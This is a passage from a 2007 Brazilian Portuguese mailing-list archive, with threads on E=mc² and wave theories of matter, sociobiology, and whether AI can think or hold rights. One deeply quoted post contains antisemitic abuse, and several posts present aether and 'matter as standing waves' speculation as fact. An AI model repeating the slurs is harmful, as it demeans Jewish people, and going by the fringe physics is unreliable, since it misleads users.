hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos,
constroi uma estrutura de onde retira os principais resultados da TRR. É um
pouco diferente dos estudos homólogos feitos por autores consagrados, que
usam triângulos como artifício de memorização de fórmulas. Seu enfoque
centra-se na tese acima, o que diferencia os desenvolvimentos. Assim,
encontram-se os seguintes triângulos: de velocidades, das massas, da
Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados
conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta,
é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que
foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito
de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um
embasamento matemático consistente, embora a tese física seja questionável.
Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como
o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara
ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair
todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre
as tentativas, em busca de outras alternativas. Que são só tentativas, ao
fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o
papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito,
embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
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>

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SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 18:19

Meu amigo João:

Vamos por duas vertentes: a primeira é que "aparência" é um conceito subjetivo, criado pelo consciente das pessoas pela assimilação de traços que lhes sejam agradáveis, geralmente assemelhados aos seus ou aos de seus sonhos em função de imputs recebidos.

Inteligência é outra coisa, completamente desvinculada da aparência: o que vulgarmente se chama de inteligência é a capacidade que cada indivíduo tem, em graus variados, para resolver determinadas gamas de problemas.

uma boa noite,

silvio.


----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:32 AM
Subject: [ciencialist] Re: Questões sociobiológicas


Olá, Sílvio.

> Se boa aparência indicasse qualquer qualidade intelectual
diferenciada o que seria de Platão???

Boa aparência, pelo que parece, indica bons genes, isto é, genes que
não "quebraram" devido à intervenção do acaso em sua estrutura.

> Sua noção de hierarquia precisa de uma revisão: veja o Aurélio,
nosso pior dicionarista:

Quando falo de hierarquia, estou falando da hierarquia primata, que
envolve relações de dominação e submissão, política, agressividade e
prestígio. Os exemplos do Aurélio que você citou têm a ver com essas
coisas, mas elas estão se manifestando de formas bem distante daquela
natural para a qual ela foi "feita."

> em nenhuma dessas definições informa que há qualidades
extraordinárias

É possível que não haja. Mas uma pessoa de alta hierarquia se sente
superior, e uma de baixa se sente inferior. Não há nenhuma base
racional para isso. Não precisa ser superior em inteligência, beleza,
ou mesmo capacidade de socialização. É simplesmente um sentimento. É
como se a pessoa tivesse uma alma, em algum sentido cósmico, superior
ou inferior.

> Temos bem à vista um exemplo lídimo: o nosso prezado apedeuta, Lula
da Silva: ocupa a mais alta hierarqua do poder executivo: com
honestidade, você gostaria que sua esposa fosse inseminada com o
esperma desse cara, num caso de fertilização artificial???

Não acho o Lula bonito, e não sei se ele é inteligente. Ele tem boas
habilidades políticas, o que é uma importante qualidade para se
galgar a hierarquia. Mas não é certo que ele apresente genes que o
façam ter mais facilidade de fazer política, ou galgar a hierarquia.
Talvez a experiência de vida dele, as oportunidades que lhe
apareceram, fizeram ele trilhar o caminho que ele trilhou. Até que
ponto seus genes interviram nisso é uma questão.

Saudações.
João de Carvalho






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SUBJECT: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 18:38

Meu amigo Vitor:
Se exagerei, perdoe: apenas não concordo, por convidções pessoas e ausência de elementos consistentes para as possa assimilar, colocar um deus qualquer no processo cognitivo.

boa noite!!

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 6:16 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO


Sílvio,

Honestamente, não ví onde mistura foi feita. Mas pode desmisturar, na próxima irei asperizar o caminho,
para não deslizar.
Tudo que você disse está ok. Não importa a capacidade de memória, que um desses possa ter, para guardar
dados, executando qualquer sequência de comandos, usando estes dados.
Meu ponto está nisto: discernimento! Como tentei exprimir com exemplos. Mais um exemplo: este que você exercitou, ao ler meu texto, e dele extrair munição para este seu texto, com uma interpretação absolutamente pessoal.
Um SílvBorg faria algo assim, sequer aproximado? I not cridito. Seria apenas por causa de
minhas limitações, esse jeito de pensar? Sei não, sei não.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 07, 2007 3:52 PM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Victor:

Sua argumentação apresenta só um deslise: você está misturando um conceito religioso, inexistente - deus - na diligência humana.

Observe que, desde Tales o homem ocidental se preocupa em observar a natureza e dela extrair conhecimentos para auxiliá-lo em suas lides.
Neste século, a robótica tem grande expansão, é patéria de curriculo escolar, em alguns anos alcançará patamares insususpeitáveis, principalmente com os sofisticados equipamentos existentes, como o CERN na Europa.
Tudo reside em o homem criar um elemento físico ou mesmo orgânico semelhante aos neurônios que tem dupla função: guardam as informações que o indivíduo assimina mesmo subjetivamente do meio ambiente, por meio dos sentidos e posteriormente poder usar esses elementos arquivados em idéias para criação de outros elementos (deveríamos, filosóficamente chamar simplesmente de "coisas":).
Está matada a charada. coisa muito simples,,,,
Mas, observe, tais robôs deverão, no início, serem construidos para atividades específicas como hoje já trabalham na indústria, sem forma humana: tudo acontece gradativamente, ao longo do tempo de existência dos humanos. É preciso aguardar e colocar a moçada no estudo.

quem sabe, um dia.....

O grande roblema que vejo será programar um orgasmo...

boa tarde,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 06, 2007 6:39 AM
Subject: Re: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Sílvio.

Sílvio: Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

Victor: Mas é só idéia. Nem mais nem menos que isso.
A implementação de algo assim
não demandaria, sequer, um tempo infinito! Apesar de meu respeito
pela ciência e ter conhecimento dos desenvolvimentos do ramo científico
Inteligência Artificial, não vislumbro coisas a nível do que expressa a
frase
objeto destas poucas e mal traçadas linhas. Vislumbro, sim, como ora já
acontece,
o uso da I.A para controles cada vez mais sofisticados, cada vez mais
sofisticados,
cada vez mais... Mas é só. E olha que não sou espiritualista, que nega tais
coisas pela simples
razão de que, assim, o homem estaria fazendo o mesmo que God. Que disparate,
sô!
Minhas razões disso nada têm.
Já pensou como seria interessantse um fórum, de nome "Ciencyborg", criado
por CyBrudna,
cujos participantes fossem todos robôs? Que discutissem assim, como os
do Ciencialist? Com direito a coisas prá lá de úteis, inteligentes e
interessantes,
seja a nível de contestatações, seja a nível de defesas, ou mesmo a nível
das besteiradas que, vez ou outra
mais vez do que outra, ultimamente, surgem? Tais robôs seriam incapazes
até mesmo de, sem uma programação
específica, discernirem e praticarem asnices. Ou alguém faz a sintaxe
correta, sem um mero pontinho a mais ou a menos
ou nada funciona.
Adoraria presenciar um discussão intelectual de um desses sobre as o
Discurso do Método, Esquesitices do óbvio,
um enfrentamento das idéias do Alberto Mesquita, ou mesmo um embate poético
com um Catulo da Paixão Cearense,
uma "simples" cantoria com um destes cantadores do Nordeste, como o meu pai
ou o Pinto do Monteiro(ambos falecidos), entre outros exemplos. Ah, bota
ele prá discutir com Ferrari, bota! Prá ver se não espirra sangue(digo,
óleo) e fumaça por todo canto!
Só não por alí, que por alí nem teria. Quem já viu Cyborg que se preze com
"por alí", ora!
Olha, as engrenagens do bicho se engriparão nos primeiros minutos.
Pago prá ver, se estou dizendo asnices(que seriam incapazes de dizerem,
"conscientemente"). E, se pagar, complementarei a dívida plantando
"baneira", em praça pública, sem
zorba, com uma vela pingando na direção da linha reta que passa pelo centro
da cabeça.
Tinha muita graça!

Sds,
Victor.

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 05, 2007 7:33 PM
Subject: [ciencialist] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Mestre Takata:

Peço seu abalizado parecer nesta questão.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

Putz, constantor, começou dizendo que concorda mas logo
em seguida discorda. A questão é encarar os neurônios
biológicos como processos físicos que manipulam informação.
Sob esse aspecto, neurônios ou transístores, não importa,
são processos físicos processando informação. E pode ser
que você reclame de eu ser um reducionista do caralho,
mas afetividade, intuição e imaginação podem ser reduzidos,
em última instância, à atividade neural. Hoje não sabemos
em detalhes como isso opera, mas sabemos que não parece
haver nada "além de neurônios" no pensamento e sentimento
humanos (e quem estuda neurociência sabe disso desde o
primeiro momento). Vem daí a idéia de que robôs suficientemente
sofisticados poderão ter estados mentais, afetividade e
imaginação, mesmo não sendo biológicos.

*PB*

----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO

concordo, caro.

mas isto não retira o caráter de simulação que está envolvido na
inteligência artificial. Sempre será uma máquinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a própria idéia de reduzir à inteligência humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
dinãmica enloquecida empreendida pelos neurônios. Esta dinâmica gera
coisas em nõs, que uma calculadora gigante não reproduz. Como eu
estava falando com o John, a racionalidade humana não e´despida dos
elementos de afetividade, intuição, imaginação, e vários estados de
consciencia que só nós vivenciamos. Máquinhas fazem cálculos somente.

--- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@...>
escreveu
>
> E o cérebro biológico estará meramente fazendo um bando
> de neurônios dispararem loucamente. Basta usarmos um
> nível de análise diferente para máquinas e cérebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo nível (e falarmos em, por exemplo, "estados mentais",
> representação de informação, conceituação, heurística, etc.)
> podemos melhor compará-los. Inteligência artificial só pode
> ser entendida se houver comparação no mesmo nível de
> análise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br
> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estará fazendo cálculos matemáticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa questão de imitar ou não é mais complexa do que isso.
> > Um robô mecânico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > não estará imitando uma computação que fazemos mentalmente:
> > estará *fazendo* essa computação (com heurística diferente,
> > mas estará). A diferença fundamental é que um furacão pode
> > ser simulado em um computador (e a simulação pode "destelhar"
> > casas virtuais; obviamente ninguém confundiria isso com a
> > realidade), mas um robô que pensa não estará "imitando" nosso
> > pensar: ele estará realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais naõ imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que não possuem, como o papagaio. Máquinas também
> podem
> > imitar o raciocínio lógico matemático, mas a subjetividade não
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br, "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Olá
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana é a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferença entre possuir um atributo e imita-lo? Tal
> coisa é
> > possível?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
> > [mailto:Acropolis_@yahoogrupos.com.br] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que não são pessoas, eles não possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Olá
> > > >
> > > >
> > > >
> > > > E que direitos possuímos enquanto pessoas que não
possuímos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possuímos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos não podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos dá o direito ao voto, por exemplo?
> Se
> > uma
> > > máquina
> > > > tiver esse atributo, ela não poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se não são pessoas, não há porque dar a elas direitos que
> > > possuímos
> > > > enquanto pessoas. Alguma proteção jurídica elas vão ter.
Mas
> aí,
> > > até
> > > > nossos animais domésticos têm.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Olá
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso é certo e me parece indiscutível: máquinas não
> são e
> > > não
> > > > serão
> > > > > pessoas. A questão é por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros não são pessoas e nem por isto
> consideramos
> > > certo
> > > > jogá-los
> > > > > num tanque de ácido. Por que direitos não poderiam ser
> dados a
> > > > máquinas que,
> > > > > vistas de fora, possuam consciência? (ou ajam tal qual,
o
> que
> > dá
> > > > na mesma,
> > > > > já que não podemos dizer que nosso vizinho possui
> consciência
> > > > também)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma máquina for capaz de escolher, por que não puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > É tão óbvia a má fé do Eurico e tão intensa sua solidão
em
> > > relação
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirmações
> > > dos
> > > > outros a
> > > > > fim de poder considerar as máquinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ninguém disse que não há pesquisa, experimentos e
esforços
> > rumo a
> > > > > Inteligência Artificial. O que se está afirmando é que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser construída, não é uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIGÊNCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> é tão óbvia a má-fé do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coerência filosófica que

> dó.
> > > > > Uns terroristas safados que não querem permitir o
trabalho
> > > > filosófico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante é tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> ridículo
> > > > indecente.
> > > > > Um dá carteirada de judeu, mas se lembramos esse fato,
fica
> > > > > ofendido, o outro se converteu ao cristianismo pra não
dar
> tão
> > > na
> > > > cara.
> > > > > Querem que sejamos cristãos sem pensamento critico,
> > > > > trabalhadores braçais sem ciência e tecnologia, patriotas
> > > > > sem consciência política, usuários de windows, desunidos
> > > > > e desorientados porque o papai do céu escolheu um povo
> > > > > e prometeu a terra (junto com os não escolhidos) pra
eles.
> > > > >
> > > > > Inteligência Artificial não é ficção científica: vou ter
> essa
> > > > matéria
> > > > > no ano que vem! (a keyword pra quem quer saber mais é
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIGÊNCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > É tão óbvia, mas tão óbvia a razão de porque o Homero e
o
> > Eunuco
> > > > são
> > > > > entusiastas da inteligência artificial, que acabamos não
> nos
> > > dando
> > > > conta,
> > > > > ora. É simples: a inteligência artificial é a única
> esperança
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de inteligência. :-)
> > > > >
> > > > >
> > > > >
> > > > > __.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > __________________________________________________
> > > > > Fale com seus amigos de graça com o novo Yahoo!
Messenger
> > > > > http://br.messenger <http://br.messenger
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> > > > > __________ Informação do NOD32 IMON 2113 (20070313)
> __________
> > > > >
> > > > > Esta mensagem foi verificada pelo NOD32 sistema antivírus
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> > > <http://www.eset.com.br> com.br>
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> > >
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Física e matemática on-line
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <noosfera_II@yahoogrupos.com.br>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 09/05/2007 18:46

transcrevo do FAPESP:



Física e matemática on-line


08/05/2007

Agência FAPESP - A primeira versão de um portal de educação a distância para as disciplinas de matemática e física, o Professor Global, foi lançada pelo Centro Brasileiro de Pesquisas Físicas (CBPF), no Rio de Janeiro, em parceria com a Universidade de Brasília (UnB) e a empresa AprendaNet.

Segundo o CBPF, o objetivo do portal é oferecer uma grade curricular interativa para os ensinos fundamental, médio, universitário e de pós-graduação, em que os alunos possam ter acesso gratuito a cursos, além de publicações digitais e ferramentas que facilitem a aprendizagem, como a calculadora Maple.

A Maple, capaz de fazer desde simples operações de aritmética até gráficos mais complexos, integra um programa que, apesar de importante para os universitários de exatas, é caro e nem todos os alunos têm a oportunidade de comprá-lo. O CBPF adquiriu o direito de disponibilizá-lo na internet.

O funcionamento do Professor Global é feito a partir de um Servidor de Ensino, que disponibiliza material didático interativo para que o aluno, individualmente, consiga interagir como se estivesse em sala de aula.

Entre os módulos educacionais interativos propostos pelo site estão Aritmética, Álgebra, Trigonometria, Matrizes, Combinatória, Equações Diferenciais, Mecânica Clássica e Eletromagnetismo.

Professor Global: www.professorglobal.cbpf.br


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 19:22

Sílvio,



Acho que é folclore. Dizem muita coisa envolvendo Einstein e outros ícones
de se quilate, atribuindo-lhes comportamentos dissociados do comum de nós
outros, envolvendo-os numa redoma de mistério e certo glamour.

Poincaré foi um dos maiores e mais profícuos matemáticos de todos os tempos,
não só da época dele.

Contudo, dizem alguns historiadores, que ele era desajeitado para fazer
contas simples, não gostava,

evitava, errava, confundia, embora pudesse manejar, de cabeça, grandes
blocos matemáticos, como matrizes ou estruturas topológicas, do que não
tenho conhecimento a não ser a nível de “notícias”, por ser muito
especializado e específico, tratando-se de um ramo da matemática
extremamente difícil e abstrato.

Já disseram, entre outras histórias, que um dia Einstein vinha pelo
corredor da universidade e, de repente, parou e perguntou a um estudante
que passava: o restaurante fica prá lá ou para ali? À resposta de “para
ali”, ele disse: ah, então já almocei, e seguiu adiante!?.... Mas essa
mesma história contavam de um professor que conhecí, de física, cujo nome
não me é conveniente citar. E eu sabia que de besta e exótico este nada
tinha, a não ser que era um notório traçador de estudantes mais bonitinhas e
atiradas, que lhe apontavam algumas possibilidades. Mas era um excelente
professor, famoso por suas aulas e temido pelo rigor na correção das provas.


Particularmente não acredito que essas pessoas muito inteligentes sejam tão
idiotas a esse ponto, nem desligados, nem alheios a si próprios, coisas do
tipo. Têm apenas uma coisa a mais que a maioria dos mortais: um cérebro mais
gordinho de neurônios e sinapses mais arrumadinhas. Só isso. Só isso? Pois
bem... Folclore, criado pelos circunstantes, para terem o que conversar,
espantar ou maravilhar o ouvinte. Parece que as pessoas gostam de uns
enfeites, em torno do objeto de sua admiração. Froidi explica.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Silvio Cordeiro
Enviada em: quarta-feira, 9 de maio de 2007 16:43
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] A idéia que Einstein fazia de Deus



Ô Vitor:

Você me fez lembrar um fato, muito comentado nas biografias de Einstein que,
numa bela tarde de sol, sentado em um banco de jardim, ele divagava pelo
universo quando seu neto pediu uma ajuda para resolver um problema de
aritimética: Ele chamou a mãe do menino e pediu auxílio a ela, pois não
entendia o problema....

boa tarde,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Monday, May 07, 2007 3:08 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Sílvio,

O gritou que escreví não é um gritoooou!. É um gritou fuleiro, bem baixinho,
quase sussurando. Se brincar, nem isso. .
Contudo, a bem da verdade, nunca lí em lugar nenhum que ele tenha se
expressado do jeito postado aquí. O que ele professava
era uma religiosidade peba, à moda de Spinoza, como bem lembrou o Bulcão.
Quanto a "era calmo, pacífico, muito humor... "
você tem razão.

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Monday, May 07, 2007 10:12 AM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Vitor:

Reservo-me o direito de duvidar que o grande mestre tenha gritado. Não era
do seu feitio: era calmo, pacífico, muito humor... Leia suas biografias.
Sobre deus, não entro no mérito.

bom dia,

silvio.
3
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Sunday, May 06, 2007 9:53 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

Olá,

